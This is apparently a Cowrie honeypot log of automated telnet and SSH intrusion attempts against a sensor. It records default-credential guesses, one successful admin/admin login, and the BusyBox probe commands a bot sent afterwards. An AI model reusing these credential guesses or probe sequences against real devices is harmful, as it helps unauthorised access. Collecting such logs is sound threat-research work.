{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35176,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbbce1c2828f","protocol":"telnet","message":"New connection: 161.97.105.174:35176 (159.203.135.109:23) [session: dbbce1c2828f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:26.753112Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45694,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a3d71fc942","protocol":"telnet","message":"New connection: 161.97.105.174:45694 (159.203.135.109:23) [session: 88a3d71fc942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:28.686965Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45696,"dst_ip":"159.203.135.109","dst_port":23,"session":"855df7b8779d","protocol":"telnet","message":"New connection: 161.97.105.174:45696 (159.203.135.109:23) [session: 855df7b8779d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:32.355343Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":54744,"dst_ip":"10.17.0.5","dst_port":22,"session":"af222a582e8f","protocol":"ssh","message":"New connection: 154.219.100.220:54744 (10.17.0.5:22) [session: af222a582e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:33.017340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:33.021749Z","src_ip":"154.219.100.220","session":"af222a582e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:33.227720Z","src_ip":"154.219.100.220","session":"af222a582e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45698,"dst_ip":"159.203.135.109","dst_port":23,"session":"58ca336c3995","protocol":"telnet","message":"New connection: 161.97.105.174:45698 (159.203.135.109:23) [session: 58ca336c3995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:33.365954Z"}
{"eventid":"cowrie.session.closed","duration":32.95988154411316,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:33.571399Z","src_ip":"161.97.105.174","session":"9bac27103b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":45318,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1682b7c08a4","protocol":"telnet","message":"New connection: 45.153.34.108:45318 (159.203.135.109:23) [session: c1682b7c08a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:33.613206Z"}
{"eventid":"cowrie.session.closed","duration":0.007014274597167969,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:33.620055Z","src_ip":"45.153.34.108","session":"c1682b7c08a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":45328,"dst_ip":"159.203.135.109","dst_port":23,"session":"58aed4dc9390","protocol":"telnet","message":"New connection: 45.153.34.108:45328 (159.203.135.109:23) [session: 58aed4dc9390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:33.694377Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"666666","message":"login attempt [ftpuser/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:34.082648Z","src_ip":"154.219.100.220","session":"af222a582e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:34.194356Z","src_ip":"45.153.34.108","session":"58aed4dc9390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.500499963760376,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:35.194769Z","src_ip":"45.153.34.108","session":"58aed4dc9390","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":45336,"dst_ip":"159.203.135.109","dst_port":23,"session":"327917521fbb","protocol":"telnet","message":"New connection: 45.153.34.108:45336 (159.203.135.109:23) [session: 327917521fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:35.276559Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:35.295631Z","src_ip":"154.219.100.220","session":"af222a582e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:35.776419Z","src_ip":"45.153.34.108","session":"327917521fbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4999680519104004,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:36.776389Z","src_ip":"45.153.34.108","session":"327917521fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":45344,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4924377ee35","protocol":"telnet","message":"New connection: 45.153.34.108:45344 (159.203.135.109:23) [session: d4924377ee35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:36.857978Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45708,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5f9ec47eb3","protocol":"telnet","message":"New connection: 161.97.105.174:45708 (159.203.135.109:23) [session: bd5f9ec47eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:37.029399Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:37.358336Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:37.410426Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.43564057350159,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:38.302713Z","src_ip":"161.97.105.174","session":"c93a2804e250","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:38.361624Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:38.860761Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:39.460805Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:40.060573Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:40.064596Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14571404457092,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:40.078422Z","src_ip":"161.97.105.174","session":"f50e93e211a5","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:40.663171Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.819401741027832,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:40.677301Z","src_ip":"45.153.34.108","session":"d4924377ee35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13100218772888,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:42.692965Z","src_ip":"161.97.105.174","session":"bb56c7aa307d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53710,"dst_ip":"159.203.135.109","dst_port":23,"session":"f10f6cb4cc4d","protocol":"telnet","message":"New connection: 161.97.105.174:53710 (159.203.135.109:23) [session: f10f6cb4cc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:47.286086Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":33289,"dst_ip":"10.17.0.5","dst_port":22,"session":"f53ff426e2e4","protocol":"ssh","message":"New connection: 103.170.173.26:33289 (10.17.0.5:22) [session: f53ff426e2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:50.017703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:50.022214Z","src_ip":"103.170.173.26","session":"f53ff426e2e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:50.277110Z","src_ip":"103.170.173.26","session":"f53ff426e2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31728482246399,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:50.812346Z","src_ip":"161.97.105.174","session":"cd58445d4dfd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest666","message":"login attempt [guest/guest666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:51.329433Z","src_ip":"103.170.173.26","session":"f53ff426e2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.33491349220276,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:52.249667Z","src_ip":"161.97.105.174","session":"a22688bee63a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:52.586643Z","src_ip":"103.170.173.26","session":"f53ff426e2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15930461883545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:52.902699Z","src_ip":"161.97.105.174","session":"e0f6b70665fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47328,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c04be2e1147","protocol":"telnet","message":"New connection: 161.97.105.174:47328 (159.203.135.109:23) [session: 1c04be2e1147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:53.935394Z"}
{"eventid":"cowrie.session.closed","duration":33.58181047439575,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:57.548205Z","src_ip":"161.97.105.174","session":"cf91391806e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.704775094985962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:00.391658Z","src_ip":"161.97.105.174","session":"88a3d71fc942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.933499336242676,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:01.686527Z","src_ip":"161.97.105.174","session":"dbbce1c2828f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37208,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b598b4eaab","protocol":"telnet","message":"New connection: 64.227.101.30:37208 (10.17.0.5:23) [session: 03b598b4eaab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:01.992883Z"}
{"eventid":"cowrie.session.closed","duration":32.565138816833496,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:04.920399Z","src_ip":"161.97.105.174","session":"855df7b8779d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9727680683136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:05.338598Z","src_ip":"161.97.105.174","session":"58ca336c3995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.379029750823975,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:09.408355Z","src_ip":"161.97.105.174","session":"bd5f9ec47eb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57040,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fff265f05cd","protocol":"telnet","message":"New connection: 161.97.105.174:57040 (159.203.135.109:23) [session: 7fff265f05cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:10.675131Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57052,"dst_ip":"159.203.135.109","dst_port":23,"session":"e79a38af852a","protocol":"telnet","message":"New connection: 161.97.105.174:57052 (159.203.135.109:23) [session: e79a38af852a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:10.729075Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57068,"dst_ip":"159.203.135.109","dst_port":23,"session":"5842cce58074","protocol":"telnet","message":"New connection: 161.97.105.174:57068 (159.203.135.109:23) [session: 5842cce58074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:13.640711Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42206,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa578b20c78","protocol":"telnet","message":"New connection: 64.227.101.30:42206 (10.17.0.5:23) [session: bfa578b20c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:15.212244Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57080,"dst_ip":"159.203.135.109","dst_port":23,"session":"e660f6ace2b8","protocol":"telnet","message":"New connection: 161.97.105.174:57080 (159.203.135.109:23) [session: e660f6ace2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:16.720745Z"}
{"eventid":"cowrie.session.closed","duration":1.5999982357025146,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:16.812005Z","src_ip":"64.227.101.30","session":"bfa578b20c78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009172439575195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:18.295135Z","src_ip":"161.97.105.174","session":"f10f6cb4cc4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46712589263916,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:26.402401Z","src_ip":"161.97.105.174","session":"1c04be2e1147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50886,"dst_ip":"159.203.135.109","dst_port":23,"session":"d97c60ec91ff","protocol":"telnet","message":"New connection: 161.97.105.174:50886 (159.203.135.109:23) [session: d97c60ec91ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:28.705387Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50892,"dst_ip":"159.203.135.109","dst_port":23,"session":"630c24c1de0e","protocol":"telnet","message":"New connection: 161.97.105.174:50892 (159.203.135.109:23) [session: 630c24c1de0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:35.771589Z"}
{"eventid":"cowrie.session.closed","duration":32.67262005805969,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:43.347648Z","src_ip":"161.97.105.174","session":"7fff265f05cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.763731718063354,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:43.756468Z","src_ip":"64.227.101.30","session":"03b598b4eaab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82389950752258,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:45.552865Z","src_ip":"161.97.105.174","session":"e79a38af852a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.03509259223938,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:48.675696Z","src_ip":"161.97.105.174","session":"5842cce58074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":47838,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2401e6c4589","protocol":"ssh","message":"New connection: 209.99.189.174:47838 (10.17.0.5:22) [session: f2401e6c4589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:50.251990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:50.256433Z","src_ip":"209.99.189.174","session":"f2401e6c4589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:50.384928Z","src_ip":"209.99.189.174","session":"f2401e6c4589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.9279100894928,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:50.648537Z","src_ip":"161.97.105.174","session":"e660f6ace2b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd1","message":"login attempt [ubuntu/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:50.924997Z","src_ip":"209.99.189.174","session":"f2401e6c4589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:32:52.055277Z","src_ip":"209.99.189.174","session":"f2401e6c4589","protocol":"ssh"}
